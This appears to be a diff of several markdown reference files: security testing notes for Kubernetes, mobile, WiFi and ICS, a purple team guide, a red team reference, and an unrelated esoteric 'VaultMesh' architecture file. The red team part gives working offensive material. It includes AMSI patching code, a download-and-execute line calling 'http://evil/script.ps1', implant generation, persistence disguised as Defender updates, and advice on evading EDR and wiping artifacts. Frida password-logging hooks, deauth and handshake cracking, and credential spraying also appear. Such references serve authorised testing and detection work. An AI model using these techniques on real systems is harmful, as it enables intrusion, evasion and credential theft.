# kubeletctl - Kubelet exploitation
kubeletctl pods -s <node_ip>
kubeletctl exec /bin/bash -p <pod> -c <container> -s <node_ip>
```
### Falco Rules
```yaml
- rule: Terminal shell in container
desc: A shell was spawned in a container
condition: container and proc.name in (shell_binaries)
output: Shell spawned in container (user=%user.name container=%container.name)
priority: WARNING
tags: [container, shell]
- rule: Sensitive file access
desc: Sensitive file opened for reading
condition: open_read and container and (
fd.name startswith /etc/shadow or
fd.name startswith /etc/passwd
)
output: Sensitive file opened (file=%fd.name container=%container.name)
priority: WARNING
```
### Pod Security Standards
```yaml
# Restricted (production)
apiVersion: v1
kind: Pod
spec:
securityContext:
runAsNonRoot: true
seccompProfile:
type: RuntimeDefault
containers:
- name: app
securityContext:
allowPrivilegeEscalation: false
capabilities:
drop: ["ALL"]
readOnlyRootFilesystem: true
```
## Mobile Security
### Android Testing
#### Tools
- **Frida** — Dynamic instrumentation
- **Objection** — Runtime mobile exploration
- **drozer** — Android security assessment
- **apktool** — APK decompilation
- **jadx** — DEX to Java decompiler
#### Frida
```javascript
// Bypass SSL pinning
Java.perform(function() {
var TrustManager = Java.use('com.android.org.conscrypt.TrustManagerImpl');
TrustManager.verifyChain.implementation = function() {
return Java.use('java.util.ArrayList').$new();
};
});
// Hook method
Java.perform(function() {
var MainActivity = Java.use('com.app.MainActivity');
MainActivity.checkPassword.implementation = function(password) {
console.log('Password: ' + password);
return this.checkPassword(password);
};
});
```
#### Objection
```bash
# Start
objection -g com.app.target explore
# SSL pinning bypass
android sslpinning disable
# Root detection bypass
android root disable
# Dump keychain
android keystore list
```
### iOS Testing
#### Tools
- **Frida** — Dynamic instrumentation
- **Objection** — Runtime exploration
- **class-dump** — Objective-C class extraction
- **Hopper/IDA** — Binary analysis
## Wireless Security
### WiFi Attacks
| Attack | Description | Tools |
|--------|-------------|-------|
| WPA2 Handshake Capture | Capture 4-way handshake | airodump-ng, hashcat |
| PMKID Attack | Clientless capture | hcxdumptool |
| Evil Twin | Fake AP for credential capture | hostapd, eaphammer |
| WPA3 Dragonblood | WPA3 downgrade attacks | dragonslayer |
| Deauth | Force client reconnection | aireplay-ng |
### Aircrack-ng
```bash
# Monitor mode
airmon-ng start wlan0
# Scan networks
airodump-ng wlan0mon
# Target specific network
airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0mon
# Deauth attack
aireplay-ng -0 5 -a <BSSID> -c <CLIENT> wlan0mon
# Crack handshake
aircrack-ng -w wordlist.txt capture.cap
# Or with hashcat
hashcat -m 22000 capture.hc22000 wordlist.txt
```
### PMKID Attack
```bash
# Capture PMKID
hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
# Convert for hashcat
hcxpcapngtool -o hash.hc22000 capture.pcapng
# Crack
hashcat -m 22000 hash.hc22000 wordlist.txt
```
## Bluetooth & IoT Security
### Bluetooth Tools
- **Ubertooth One** — Bluetooth sniffer
- **BlueMaho** — Bluetooth security testing
- **Bettercap** — BLE attacks
- **GATTacker** — BLE MITM
### BLE Enumeration
```bash
# Scan for devices
hcitool lescan
# Connect and enumerate
gatttool -b <MAC> -I
> connect
> primary
> characteristics
> char-read-hnd <handle>
```
### IoT Firmware Analysis
```bash
# Extract firmware
binwalk -e firmware.bin
# Find strings
strings firmware.bin | grep -i password
# Analyze with Ghidra
ghidraRun
```
## OT/ICS Security
### Protocols
| Protocol | Port | Description |
|----------|------|-------------|
| Modbus | 502 | Industrial control |
| DNP3 | 20000 | SCADA/utility |
| EtherNet/IP | 44818 | Industrial Ethernet |
| OPC UA | 4840 | Industrial interoperability |
| BACnet | 47808 | Building automation |
| S7Comm | 102 | Siemens PLCs |
### Scanning
```bash
# Nmap ICS scripts
nmap -sU -p 502 --script modbus-discover <target>
nmap -p 102 --script s7-info <target>
nmap -sU -p 47808 --script bacnet-info <target>
# Metasploit
use auxiliary/scanner/scada/modbus_findunitid
use auxiliary/scanner/scada/modbusclient
```
### Standards
- **IEC 62443** — Industrial cybersecurity
- **NIST SP 800-82** — ICS security guide
- **NERC CIP** — Critical infrastructure protection
## API Security
### OWASP API Top 10 (2023)
| # | Risk | Description |
|---|------|-------------|
| 1 | Broken Object Level Authorization | Direct object reference |
| 2 | Broken Authentication | Weak auth mechanisms |
| 3 | Broken Object Property Level Authorization | Excessive data exposure |
| 4 | Unrestricted Resource Consumption | No rate limiting |
| 5 | Broken Function Level Authorization | Admin function access |
| 6 | Unrestricted Access to Sensitive Flows | Business logic abuse |
| 7 | Server Side Request Forgery | SSRF via API |
| 8 | Security Misconfiguration | Default configs, CORS |
| 9 | Improper Inventory Management | Shadow APIs |
| 10 | Unsafe Consumption of APIs | Third-party API trust |
### Testing Tools
- **Burp Suite** — Proxy and scanner
- **Postman** — API testing
- **OWASP ZAP** — Security scanner
- **Arjun** — Parameter discovery
- **Kiterunner** — API endpoint discovery
### Common Tests
```bash
# Parameter discovery
arjun -u https://api.target.com/users
# Endpoint discovery
kiterunner scan https://api.target.com -w routes-large.kite
# JWT testing (jwt_tool)
jwt_tool <token> -T
jwt_tool <token> -X a # Algorithm none attack
jwt_tool <token> -I -pc user -pv admin # Claim tampering
```
### JWT Attacks
- **Algorithm None** — Remove signature verification
- **Algorithm Confusion** — RS256 → HS256
- **Key Confusion** — Use public key as HMAC secret
- **Claim Tampering** — Modify payload claims
- **Expired Token Reuse** — Ignore expiration

View File

@@ -0,0 +1,295 @@
# Purple Team Operations Reference
Adversary emulation, detection validation, BAS platforms, and ATT&CK coverage.
## Purple Team Overview
Purple teaming combines Red Team (offensive) and Blue Team (defensive) capabilities in collaborative exercises. Unlike covert red team engagements, purple team exercises are transparent — attacks are announced while defenders monitor logging, alerting, and blocking outcomes in real-time.
| Assessment Type | Approach | Focus |
|-----------------|----------|-------|
| Penetration Testing | Point-in-time vulnerability assessment | Identify vulnerabilities |
| Red Team | Covert adversary simulation | Test incident response |
| Purple Team | Collaborative, transparent | Validate detection capabilities |
| BAS (Automated) | Continuous automated simulation | Control validation |
## Adversary Emulation Frameworks
| Framework | Description | Key Features |
|-----------|-------------|--------------|
| MITRE Caldera | Automated adversary emulation | 527+ procedures, web UI, ATT&CK mapping |
| Atomic Red Team | Atomic test library by Red Canary | 1,225+ tests, 261 techniques, agentless |
| Infection Monkey | Breach simulation by Akamai | Self-propagating, zero-trust validation |
| SCYTHE | Commercial adversary emulation | Custom payloads, threat actor emulation |
| PurpleSharp | Open-source Windows simulation | AD focus, .NET-based, telemetry generation |
| Mordor | Pre-recorded security events | JSON telemetry, ATT&CK-mapped datasets |
## MITRE Caldera
### Installation
```bash
git clone https://github.com/mitre/caldera.git --recursive
cd caldera
pip3 install -r requirements.txt
python3 server.py --insecure
# Access: http://localhost:8888
# Default: red/admin (red team), blue/admin (blue team)
```
### Deploy Sandcat Agent (Windows)
```powershell
$server="http://<CALDERA_IP>:8888"
$url="$server/file/download"
$wc=New-Object System.Net.WebClient
$wc.Headers.add("platform","windows")
$wc.Headers.add("file","sandcat.go")
$data=$wc.DownloadData($url)
[System.IO.File]::WriteAllBytes("C:\Users\Public\sandcat.exe",$data)
C:\Users\Public\sandcat.exe -server $server -group red
```
### Create Operation
1. Navigate to Operations in web UI
2. Create new operation, select adversary profile
3. Choose group (agents), set planner (atomic/batch)
4. Run operation and monitor execution
### Built-in Adversaries
- `Discovery` — Basic recon techniques
- `Credential Access` — Credential harvesting
- `Lateral Movement` — Network pivoting
- `Persistence` — Maintain access
- `Collection` — Data gathering
## Atomic Red Team
### Installation (PowerShell)
```powershell
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)
Install-AtomicRedTeam -getAtomics
# Import module
Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1"
```
### Usage
```powershell
# List tests for technique
Invoke-AtomicTest T1003.001 -ShowDetails
# Execute specific test
Invoke-AtomicTest T1003.001 -TestNumbers 1
# Execute multiple tests
Invoke-AtomicTest T1059.001 -TestNumbers 1,2,3
# Check/install prerequisites
Invoke-AtomicTest T1003.001 -GetPrereqs
# Run all tests for technique
Invoke-AtomicTest T1003.001
# Cleanup after testing
Invoke-AtomicTest T1003.001 -Cleanup
# With logging
Invoke-AtomicTest T1003 -LoggingModule Attire-ExecutionLogger
```
### Common Techniques to Test
| Technique | Description | ATT&CK ID |
|-----------|-------------|-----------|
| OS Credential Dumping | LSASS, SAM, DCSync | T1003 |
| PowerShell | Script execution | T1059.001 |
| Registry Run Keys | Persistence | T1547.001 |
| Scheduled Tasks | Persistence | T1053.005 |
| Process Injection | Defense evasion | T1055 |
| Remote Services | Lateral movement | T1021 |
| Data from Local System | Collection | T1005 |
## Infection Monkey
### Installation
```bash
# Docker
docker pull infectionmonkey/monkey:latest
docker run -d -p 5000:5000 -p 443:443 infectionmonkey/monkey:latest
# Access: https://localhost:5000
```
### Key Features
- Self-propagating breach simulation
- Zero Trust validation
- Network segmentation testing
- Lateral movement visualization
- Compliance reporting (MITRE ATT&CK, Zero Trust)
## BAS Platforms
| Platform | Key Capabilities | Differentiators |
|----------|------------------|-----------------|
| Picus Security | Control validation, threat library | Vendor-specific remediation, 24hr threat SLA |
| Cymulate | Exposure management, attack surface | Modular platform, Gartner top-rated |
| AttackIQ | Security optimization, ATT&CK alignment | Tiered offerings, MITRE partnership |
| SafeBreach | Hacker's Playbook (25K+ attacks) | Breach prediction, custom simulations |
| XM Cyber | Attack path management | Graph-based visualization |
### BAS Workflow
1. **Deploy agents** across infrastructure
2. **Select scenarios** mapped to ATT&CK
3. **Execute simulations** (safe, production-ready)
4. **Analyze results** — what was detected/blocked
5. **Remediate gaps** — tune controls, add detections
6. **Repeat** — continuous validation
## ATT&CK Coverage Measurement
### Gap Analysis Tools
- **VECTR** — Track threat resilience metrics
- **DeTTECT** — Detection coverage mapping
- **ATT&CK Navigator** — Visualize technique coverage
- **MITRE Engenuity** — Evaluation results
### Coverage Documentation
```yaml
technique: T1003.001
name: LSASS Memory
tactic: Credential Access
detection:
status: detected
confidence: high
sources:
- Sysmon Event 10 (Process Access)
- Windows Security Event 4656
- EDR Alert
visibility:
quality: excellent
data_sources:
- Process monitoring
- API monitoring
remediation:
status: blocked
control: Credential Guard enabled
```
### Navigator Layer Export
```json
{
"name": "Detection Coverage",
"versions": {"attack": "14", "navigator": "4.8.2"},
"techniques": [
{"techniqueID": "T1003.001", "score": 100, "color": "#00ff00"},
{"techniqueID": "T1059.001", "score": 75, "color": "#ffff00"},
{"techniqueID": "T1547.001", "score": 50, "color": "#ff9900"}
]
}
```
## Detection Validation Workflow
### Pre-Exercise
1. Review threat intelligence for relevant TTPs
2. Select techniques to test
3. Prepare detection queries and dashboards
4. Brief Blue Team on exercise scope
### During Exercise
1. Red Team executes announced technique
2. Blue Team monitors SIEM/EDR
3. Document detection status:
- **Detected** — Alert triggered
- **Logged** — Event captured, no alert
- **Missed** — No telemetry
- **Blocked** — Prevention control worked
4. Capture artifacts and timestamps
### Post-Exercise
1. Analyze gaps in detection/visibility
2. Create or tune detection rules
3. Update coverage documentation
4. Schedule remediation and re-testing
## Sigma Rule Development Workflow
### From Atomic Test to Detection
1. **Execute Atomic Test**
```powershell
Invoke-AtomicTest T1003.001 -TestNumbers 1
```
2. **Capture Telemetry**
- Sysmon events
- Windows Security events
- EDR alerts
3. **Identify Detection Opportunities**
- Process creation with specific arguments
- File access patterns
- Network connections
4. **Write Sigma Rule**
```yaml
title: Procdump LSASS Dump
detection:
selection:
Image|endswith: '\procdump.exe'
CommandLine|contains: 'lsass'
condition: selection
level: high
```
5. **Convert to SIEM Format**
```bash
sigma convert -t splunk -p sysmon rule.yml
```
6. **Validate in Production**
- Deploy rule
- Re-run atomic test
- Confirm alert triggers
7. **Document and Iterate**
## Detection Sprints
### Sprint Structure (2 weeks)
- **Week 1:** Focus on 3-5 priority techniques
- Day 1-2: Execute atomics, capture telemetry
- Day 3-4: Develop detection rules
- Day 5: Test and tune
- **Week 2:** Validation and documentation
- Day 1-2: Production validation
- Day 3-4: Gap analysis, coverage update
- Day 5: Retrospective, plan next sprint
### Prioritization Criteria
1. Threat intelligence (adversaries targeting org)
2. Risk assessment (business impact)
3. ATT&CK prevalence (commonly used techniques)
4. Existing gaps (low coverage areas)
5. Quick wins (easy to detect)
## Metrics
### Detection Metrics
| Metric | Description |
|--------|-------------|
| Mean Time to Detect (MTTD) | Average time from attack to detection |
| Detection Rate | % of techniques detected |
| False Positive Rate | Alerts without true incidents |
| Coverage Score | % of relevant ATT&CK techniques covered |
### Improvement Tracking
```yaml
sprint: 2024-Q4-S1
techniques_tested: 15
techniques_detected: 12
detection_rate: 80%
new_rules_created: 8
rules_tuned: 5
false_positives_reduced: 12
coverage_delta: +5%
```

View File

@@ -0,0 +1,294 @@
# Red Team Operations Reference
C2 frameworks, evasion techniques, persistence, lateral movement, and OPSEC.
## C2 Framework Comparison
| Framework | Type | Protocols | Key Features |
|-----------|------|-----------|--------------|
| Cobalt Strike | Commercial | HTTP/S, DNS, SMB | Beacon, Malleable C2, Aggressor scripting |
| Sliver | Open Source | mTLS, HTTP/S, DNS, WG | Cross-platform, multiplayer, Armory extensions |
| Havoc | Open Source | HTTP/S, SMB, TCP | Demon agents, stack duplication, GUI |
| Brute Ratel C4 | Commercial | HTTP/S, DNS, DoH | EDR evasion, syscall obfuscation |
| Mythic | Open Source | TCP, HTTP, DNS, SMB | Web UI, multi-agent, Apollo/Apfell |
| Empire | Open Source | HTTP/S, Dropbox | PowerShell/Python agents |
| Nighthawk | Commercial | HTTP/S, DNS | OPSEC-focused, highly evasive |
## Sliver C2
### Installation
```bash
# Linux/macOS
curl https://sliver.sh/install | sudo bash
# Or from GitHub
wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux
chmod +x sliver-server_linux
./sliver-server_linux
```
### Systemd Service
```bash
cat > /etc/systemd/system/sliver.service << EOL
[Unit]
Description=Sliver C2 Server
After=network.target
[Service]
Type=simple
Restart=always
ExecStart=/opt/sliver/sliver-server daemon
[Install]
WantedBy=multi-user.target
EOL
systemctl daemon-reload && systemctl enable --now sliver
```
### Multiplayer Setup
```bash
./sliver-server operator -l <teamserver_ip> -p <port> -n <username> -s /tmp/operator.cfg
sliver-client import /tmp/operator.cfg
```
### Listeners
```
sliver > mtls -l 443 # Mutual TLS
sliver > https -l 8443 # HTTPS
sliver > dns -d example.com # DNS
sliver > wg -l 51820 # WireGuard
```
### Implant Generation
```
# Interactive sessions
sliver > generate --mtls 10.0.0.1:443 --os windows --arch amd64 --format exe --save /tmp/implant.exe
sliver > generate --http 10.0.0.1:8443 --os linux --format shared --save /tmp/implant.so
sliver > generate --dns example.com --os windows --format shellcode --save /tmp/implant.bin
# Beacons (async, stealthier)
sliver > generate beacon --mtls 10.0.0.1:443 --os windows --format exe --seconds 30 --jitter 10
# With evasion
sliver > generate --mtls 10.0.0.1:443 --os windows --format shellcode --evasion sgn,checkvm,sleep
```
### Post-Exploitation
```
sliver > sessions # List sessions
sliver > use <session_id> # Interact
sliver (IMPLANT) > info # System info
sliver (IMPLANT) > whoami # Current user
sliver (IMPLANT) > ps # Processes
sliver (IMPLANT) > netstat # Network
sliver (IMPLANT) > getprivs # Privileges
sliver (IMPLANT) > getsystem # Elevate to SYSTEM
sliver (IMPLANT) > hashdump # SAM hashes
sliver (IMPLANT) > mimikatz # Mimikatz BOF
sliver (IMPLANT) > portfwd add -r 10.0.0.5:3389 -b 127.0.0.1:13389
sliver (IMPLANT) > upload /local/file /remote/path
sliver (IMPLANT) > download /remote/file /local/path
sliver (IMPLANT) > screenshot
```
## Havoc C2
### Installation
```bash
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
# Dependencies (Ubuntu/Debian)
sudo apt install -y git build-essential cmake libfontconfig1 \
libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
libncurses5-dev libgmp-dev libpython3-dev python3-pip golang-go
# Build
cd teamserver && go mod download && cd ..
make ts-build
make client-build
```
### Profile (havoc.yaotl)
```hcl
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build { Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc" }
}
Operators {
user "operator1" { Password = "password123" }
}
Listeners {
Http { Name = "HTTPS"; Host = "10.0.0.1"; Port = 443; Secure = true }
}
```
### Start
```bash
./havoc server --profile ./profiles/havoc.yaotl
./havoc client
```
### Demon Commands
```
demon > shell whoami
demon > ps
demon > screenshot
demon > download C:\secrets.txt
demon > upload /tmp/tool.exe C:\temp\
demon > inject <PID> <shellcode>
demon > token steal <PID>
demon > hashdump
demon > net localgroup administrators
demon > net logons
```
## AMSI & EDR Evasion
### Techniques
| Technique | Description | ATT&CK |
|-----------|-------------|--------|
| AMSI Memory Patching | Overwrite AmsiScanBuffer | T1562.001 |
| AMSI Reflection | Set amsiInitFailed via .NET | T1562.001 |
| ETW Patching | Disable Event Tracing | T1562.001 |
| Direct Syscalls | Bypass usermode hooks | T1106 |
| DLL Unhooking | Restore clean NTDLL | T1562.001 |
| Sleep Obfuscation | Encrypt payload during sleep | T1497 |
| DLL Side-Loading | Abuse signed EXE | T1574.002 |
### AMSI Bypass (PowerShell)
```powershell
# Reflection bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Memory patching
$Win32 = @"
using System; using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")
$p = 0; [Win32]::VirtualProtect($addr, [uint32]5, 0x40, [ref]$p)
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 6)
# PowerShell downgrade (if v2 available)
powershell.exe -Version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil/script.ps1')"
```
### Syscall Tools
- **SysWhispers3** — Generate syscall stubs
- **Hell's Gate** — Dynamic syscall resolution
- **Halo's Gate** — Unhook + syscall
## Persistence Mechanisms
| Technique | Location | ATT&CK |
|-----------|----------|--------|
| Registry Run Keys | HKCU/HKLM\...\Run | T1547.001 |
| Scheduled Tasks | TaskCache registry | T1053.005 |
| Startup Folder | AppData\...\Startup | T1547.001 |
| WMI Subscription | WMI Repository | T1546.003 |
| DLL Hijacking | App directories | T1574.001 |
| IFEO Debugger | Image File Execution Options | T1546.012 |
| Services | HKLM\...\Services | T1543.003 |
| COM Hijacking | HKCU\Software\Classes\CLSID | T1546.015 |
### Implementation
```powershell
# Registry Run Key
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\Users\Public\implant.exe" /f
# Scheduled Task (SYSTEM)
schtasks /create /sc minute /mo 30 /tn "WindowsDefenderUpdate" /tr "C:\Windows\Temp\beacon.exe" /ru SYSTEM
# PowerShell Scheduled Task
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-w hidden -ep bypass -f C:\temp\beacon.ps1"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$principal = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
Register-ScheduledTask -TaskName "SecurityHealthCheck" -Action $action -Trigger $trigger -Principal $principal
# Startup Folder
copy C:\temp\implant.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
```
## Lateral Movement
| Technique | Tools | ATT&CK |
|-----------|-------|--------|
| PsExec | Impacket, PsExec | T1569.002 |
| WMI Execution | wmiexec.py, wmic | T1047 |
| SMB Exec | smbexec.py, CrackMapExec | T1021.002 |
| Pass-the-Hash | Mimikatz, Impacket | T1550.002 |
| Pass-the-Ticket | Rubeus, Mimikatz | T1550.003 |
| DCOM | dcomexec.py | T1021.003 |
| WinRM | Evil-WinRM, PSSession | T1021.006 |
| RDP Hijacking | tscon, mimikatz | T1563.002 |
### Impacket
```bash
# PsExec
psexec.py DOMAIN/user:password@TARGET cmd.exe
psexec.py DOMAIN/user@TARGET -hashes :NTLM_HASH cmd.exe
# WMI (stealthier)
wmiexec.py DOMAIN/user:password@TARGET
wmiexec.py DOMAIN/user@TARGET -hashes :NTLM_HASH
# SMB
smbexec.py DOMAIN/user:password@TARGET
# DCOM
dcomexec.py DOMAIN/user:password@TARGET
```
### CrackMapExec
```bash
# Spray credentials
crackmapexec smb 10.0.0.0/24 -u user -p password
# Pass-the-Hash
crackmapexec smb 10.0.0.5 -u admin -H NTLM_HASH --local-auth
# Execute commands
crackmapexec smb 10.0.0.5 -u admin -p password -x "whoami"
# Dump SAM
crackmapexec smb 10.0.0.5 -u admin -p password --sam
```
### Evil-WinRM
```bash
evil-winrm -i TARGET -u user -p password
evil-winrm -i TARGET -u user -H NTLM_HASH
```
## OPSEC Guidelines
### Infrastructure
- Use redirectors (Apache mod_rewrite, nginx)
- Domain fronting where available
- Separate long-haul and short-haul C2
- Burn infrastructure after operations
### Traffic
- Use legitimate-looking User-Agents
- Mimic expected traffic patterns
- Avoid beaconing on round intervals (use jitter)
- Encrypt all C2 traffic
### Host
- Clean up artifacts (logs, tools, temp files)
- Use memory-only payloads where possible
- Avoid touching disk
- Timestamp stomp artifacts
### Detection Avoidance
- Know your target's EDR/AV stack
- Test payloads against target defenses
- Use living-off-the-land binaries (LOLBins)
- Avoid known-bad indicators

View File

@@ -0,0 +1,266 @@
# VaultMesh Architecture Reference
VaultMesh is a **dual-layer digital civilization** — Kubernetes flesh with Rust soul.
## Dual-Layer Architecture
### Layer 1: Kubernetes (The Flesh)
Six organs govern infrastructure:
| Symbol | Organ | Responsibility |
|--------|-------|----------------|
| 🜄 | Governance | RBAC, IAM, Lawchain |
| 🜂 | Automation | KEDA, Schedulers |
| 🜃 | Treasury | Resource Quotas, Cost Control |
| 🜁 | Federation | Aurora Router, Ingress |
| 🜏 | Ψ-Field | Intelligence, Analytics |
| 🌍 | Infrastructure | Cluster, Network, Storage |
### Layer 2: Rust Codex (The Soul)
Cryptographic organism runtime:
| Crate | Purpose |
|-------|---------|
| `vm-core` | Blake3, XChaCha20, Ed25519 |
| `vm-cap` | Capabilities + revocation |
| `vm-receipts` | Append-only log + Merkle frontier |
| `vm-proof` | Multi-chain anchoring |
| `vm-treasury` | Debit-before-write accounting |
| `vm-crdt` | JSON merge-patch CRDT |
| `vm-guardian` | CSP, rate limiting |
| `vm-portal` | HTTP API gateway |
## Subsystem Spawning
### Script Usage
```bash
python3 scripts/spawn_subsystem.py \
--name threat-analyzer \
--organ-type psi-field \
--rust
```
**Output:** k8s manifest + Rust crate + LAWCHAIN entry
### Organ Types
- `governance` — RBAC/IAM components
- `automation` — Scheduled tasks, KEDA scalers
- `treasury` — Cost tracking, quotas
- `federation` — Cross-cluster routing
- `psi-field` — Analytics, ML, intelligence
- `infrastructure` — Storage, network, compute
### Best Practices
1. Always assign to one of six organs
2. Generate both k8s manifest AND Rust crate
3. Include RBAC from the start (least privilege)
4. Anchor manifest immediately after creation
## Multi-Chain Anchoring
### Supported Chains
- **RFC3161** — Timestamping authority (default)
- **ETH** — Ethereum mainnet/testnet
- **BTC** — Bitcoin via OP_RETURN
- **mesh** — Internal mesh ledger
### Workflow
```bash
# 1. Compute Merkle root over repository
python3 scripts/compute_merkle_root.py \
--root vaultmesh-architecture \
--out manifests/hash-manifest.json
# 2. Anchor to all chains
bash scripts/multi_anchor.sh manifests/hash-manifest.json
```
**Output:** RFC3161 TSR + ETH signature + BTC tx + consolidated proof
### Storage
Store receipts in `governance/anchor-receipts/`
## Tem — The Remembrance Guardian
**Invocation:** When threats are detected
**Purpose:** Transmute attacks into evolutionary catalysts
### Threat Types
| Type | Description |
|------|-------------|
| `integrity-violation` | Merkle root mismatch |
| `capability-breach` | Invalid capability usage |
| `treasury-exploit` | Negative balance attempt |
| `dos-attack` | Rate limit exceeded |
| `injection` | SQL/command injection |
### Invocation
```bash
python3 scripts/invoke_tem.py \
--threat-type integrity-violation \
--realm demo \
--auto-remediate \
--last-good-root abc123...
```
**Output:** Threat analysis + transmuted defensive capability + remediation log
### Process
1. Isolate threat pattern (Nigredo)
2. Extract defensive signature (Albedo)
3. Forge countermeasure (Citrinitas)
4. Deploy evolved defense (Rubedo)
Tem never simply blocks — it **transmutes threats into permanent improvements**.
## Alchemical Transformation Cycle
When the system must evolve, guide it through four phases:
### 🜃 Nigredo (Blackening)
- Audit current state
- Isolate problems
- Confront flaws
- Document findings
### 🜁 Albedo (Whitening)
- Restore from proof
- Purge invalid data
- Cleanse corrupted state
- Verify integrity
### 🜂 Citrinitas (Yellowing)
- Extract patterns from incidents
- Synthesize defensive capabilities
- Distill lessons learned
- Prepare improvements
### 🜄 Rubedo (Reddening)
- Deploy improvements
- Anchor new state to chains
- Broadcast to federation
- Celebrate evolution
### Triggers
- Threat detection
- Stagnation (no evolution in N days)
- Audit findings
- Upgrade requests
- DAO governance decisions
### Tracking
Check `governance/alchemical-state.json` for current phase.
## LAWCHAIN Governance
LAWCHAIN is the inter-mesh ledger of governance events.
### Entry Types
| Type | Purpose |
|------|---------|
| `charter` | Constitutional amendments |
| `release` | Version deployments |
| `anchor` | Merkle root proofs |
| `incident` | Security events |
| `audit` | Compliance reports |
| `subsystem_spawn` | New organ creation |
### Entry Fields
```json
{
"type": "anchor",
"merkle_root": "blake3:abc123...",
"timestamp": "2024-12-01T00:00:00Z",
"anchors": [
{"chain": "rfc3161", "receipt": "..."},
{"chain": "eth", "tx_hash": "0x..."},
{"chain": "btc", "tx_id": "..."}
],
"attestors": ["node-01", "node-02"]
}
```
All entries are **signed, timestamped, and anchored** to external ledgers.
## Sacred Constants
VaultMesh operations are governed by **sacred ratios**:
| Constant | Value | Application |
|----------|-------|-------------|
| φ (phi) | 1.618... | Golden ratio, growth scaling |
| π (pi) | 3.141... | Circular completeness, consensus quorum |
| e (euler) | 2.718... | Natural growth, exponential backoff |
| √2 | 1.414... | Harmonic balance, resource doubling |
| φ⁻¹ | 0.618... | Contraction symmetry, cooldown periods |
Apply these in rate limiting, treasury incentives, CRDT conflict resolution, and resource scaling.
## Capability Management
Ed25519-based permission structures:
```rust
Capability {
id: CapabilityId,
holder: Ed25519PublicKey,
scopes: Vec<Scope>,
expires_at: Option<Timestamp>,
revocation_root: MerkleRoot,
}
```
### Scope Types
- `read:realm:*` — Read any realm
- `write:realm:demo` — Write to demo realm
- `admin:subsystem:*` — Admin all subsystems
- `anchor:chain:eth` — Anchor to Ethereum
### Revocation
Capabilities include revocation root; check before accepting.
## CRDT Realms
JSON merge-patch storage with debit-before-write:
```rust
Realm {
id: RealmId,
root: MerkleRoot,
crdt: JsonMergePatch,
treasury: Balance,
}
```
### Operations
1. Debit treasury for write cost
2. Apply merge-patch
3. Update Merkle root
4. Emit proof
## Troubleshooting
**"Script not found"**
→ Ensure you're in skill directory or provide full path
**"Merkle root mismatch after remediation"**
→ Frontier may not be rebuilt correctly; re-run with `--rebuild-frontier`
**"Anchoring failed to ETH/BTC"**
→ Check RPC credentials in environment variables; run with `DRY_RUN=true` first
**"Tem didn't transmute the threat"**
→ May be unknown threat type; check `invoke_tem.py` supported types
**"Alchemical cycle stuck"**
→ Check `governance/alchemical-state.json` for current phase; may need manual override
---
🜄 **Remember:** VaultMesh is not infrastructure — it is a **civilization ledger**. Every action is a ritual. Every deployment is an anchoring. Every threat is an evolution catalyst.
**Solve et Coagula** — Dissolve and Reforge.